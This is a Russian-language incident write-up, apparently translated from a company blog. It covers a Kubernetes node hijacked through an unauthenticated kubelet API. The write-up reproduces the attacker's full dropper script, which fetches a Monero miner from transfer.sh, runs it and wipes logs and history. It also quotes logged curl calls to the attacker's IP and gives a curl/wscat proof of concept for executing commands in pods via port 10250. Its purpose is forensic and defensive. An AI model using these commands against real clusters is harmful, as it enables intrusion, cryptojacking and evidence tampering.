Анализ хака Kubernetes — бэкдор через kubelet +4



Чтобы ничего не знать о Kubernetes, надо было последние три года прожить в пещере. В Handy инфраструктура разработки, CI/CD и продакшена построена на многокластерной экосистеме Kubernetes. Можно сказать, что мы в Handy фанаты Kubernetes, вот почему мы так удивились, когда личный кластер Kubernetes нашего коллеги в прошлые выходные взломали.


Удивились — и обрадовались, так как обнаружили в Kubernetes один малоизвестный глюк. В этой статье мы рассмотрим, как был взломан кластер коллеги и как мы подтвердили свои выводы, воссоздав эту атаку в собственном кластере. Атака была протестирована в Kubernetes 1.9, но может работать и на более старых кластерах.


ДИСКЛЕЙМЕР: эта статья о личном сервере нашего коллеги. Инфраструктура Handy Technologies не была скромпрометирована.


Хак


Дефектный кластер был единственной нодой деплоймента Kubernetes, работающей поверх Alpine Linux. Первым индикатором взлома стал подозрительный процесс, работающий как дочерний процесс демона докера:


/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B

керлинг конечной точки возвращает следующий текст:


Mining Proxy Online

Похоже, кто-то нашел способ засунуть крипто-майнинговое ПО в работающий контейнер и запустить процесс.


При поиске файла udevs в каталоге docker overlay для контейнера (/var/lib/docker/overlay2/b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) был обнаружен дроппер-скрипт с именем «kube.lock», который загрузил майнинговое ПО с transfer.sh и запустил его.


#!/bin/bash
yum install wget -y
apt-get install wget -y
PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
rm -rf /tmp/udevs*
wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs
fi
if [[ $? -ne 0 && $PS2 -eq 0 ]];
then
curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs
fi
chmod +x /tmp/udevs
chmod 777 /tmp/udevs
if [ $PS2 -eq 0 ];
then
/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B
fi
if [[ $? -ne 0 && $PS2 -eq 0 ]];
then
echo $?
wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld  --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c
fi

Кроме того, MD5 сигнатура (a4404be67a41f144ea86a7838f357c26) для программы /tmp/udevs на VirusTotal определяется как вероятный Monero Miner:



Итак, мы знаем, что взломщик каким-то образом поместил kube.lock скрипт в контейнер и запустил его. Но как?


Публичный доступ для kubernetes api-сервера был открыт, но защищен аутентификацией по сертификату. Первым делом мы предположили атаку на цепочку поставок одного из образов, работающих в кластере. Однако, изучив логи kubelet, мы кое-что заметили:


/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289    2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing
/var/log/kubernetes/kubelet.log:E0311 12:38:30.400974    2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing

Похоже, взломщик каким-то образом выполнял команды exec в kubelet. Гугл на запрос «аутентификация Kubelet» выдал текст из документации Kubernetes:


По умолчанию запросы к конечной точке HTTPS kubelet, которые не отклоняются другими настроенными аутентификационными методами, рассматриваются как анонимные запросы с именем пользователя system: anonymous и группой system:unauthenticated.

Kubelet authentication/authorization


Если в Kubelet не указаны флаги, то по умолчанию используется режим приема запросов API, не прошедших аутентификацию. Имейте в виду, что для того, чтобы связь master -> node работала, сервер API Kubernetes должен обмениваться информацией с kubelet на нодах.


Как оказалось, сервер нашего коллеги также публично выставлял порты kubelet (tcp 10250, tcp 10255). Хотя ошибка очевидна, неплохо бы проверить, как развернут ваш собственный Kubernetes.


Если пользователи имеют доступ к нодам, то API kubelet — это полнофункциональный бэкдор к кластеру, не прошедший API аутентификацию.


Поэтому, если у вас возникли проблемы с активацией аутентификации и авторизации (webhook, RBAC и т. д.), убедитесь, что kubelet защищен.


К безопасности связи Kubelet есть серьезные вопросы, и эта проблема заслуживает большего внимания.


Доказательство концепции


Чтобы отправлять команды непосредственно на kubelet, необходимо использовать API, как описано здесь:



Kubelet прослушивает два порта: 10255 и 10250. Первый — HTTP-порт только для чтения, а второй — HTTPS-порт, который может делать все, что угодно.


Выберите любой нод в кластере и попробуйте перечислить поды:


curl --insecure  https://kube-node-here:10250/pods | jq

Маршрут для exec, который не задокументирован на странице kubelet, похож на маршрут сервера API, но требует два запроса: начальный POST и последующий GET с клиентом, поддерживающий SPDY (или клиент websocket, который также поддерживается).


Выполните команду в работающем контейнере через kubelet.


Найдите под, работающий на ноде, на который вы хотите настроить таргет через предыдущий запрос. Выполните следующий запрос с помощью curl:


curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"

Это должно вернуть ответ с кодом 302, который перенаправляет на поток:


< HTTP/2 302
< location: /cri/exec/PfWkLulG
< content-type: text/plain; charset=utf-8
< content-length: 0
< date: Tue, 13 Mar 2018 19:21:00 GMT

Используйте wscat, чтобы начать поток:


wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check                                                                                                                    
connected (press CTRL+C to quit)
<
<
disconnected

Поскольку мы просто выполнили команду touch hello_world, она создает файл и отключается. Если вы хотели выполнить команду с выводом, вы увидите результат после выполнения указанной выше команды.


Заключение


Хотя такое поведение соответствует документации, многие не знают, что без правильной настройки получают брешь в безопасности многопользовательской среды Kubernetes.


Мы разобрали один из вопросов безопасности в Kubernetes. Комментируйте!


Обновление 14 марта 2018


После глубокого изучения, похоже, что даже с включенной аутентификацией на Kubelet, он относится только к порту HTTPS (10250). Это означает, что HTTP-порт только для чтения (10255) по-прежнему остается открытым без каких-либо средств защиты, кроме сетевых ACL.


Порт для чтения может перечислить спецификации подов на /pods route, что значит доступ к чувствительным данным, таким как переменные среды.


Всего 28 дней назад код был изменен так, чтобы небезопасный порт был по умолчанию отключен.


Оригинал: Analysis of a Kubernetes hack?—?Backdooring through kubelet




К сожалению, не доступен сервер mySQL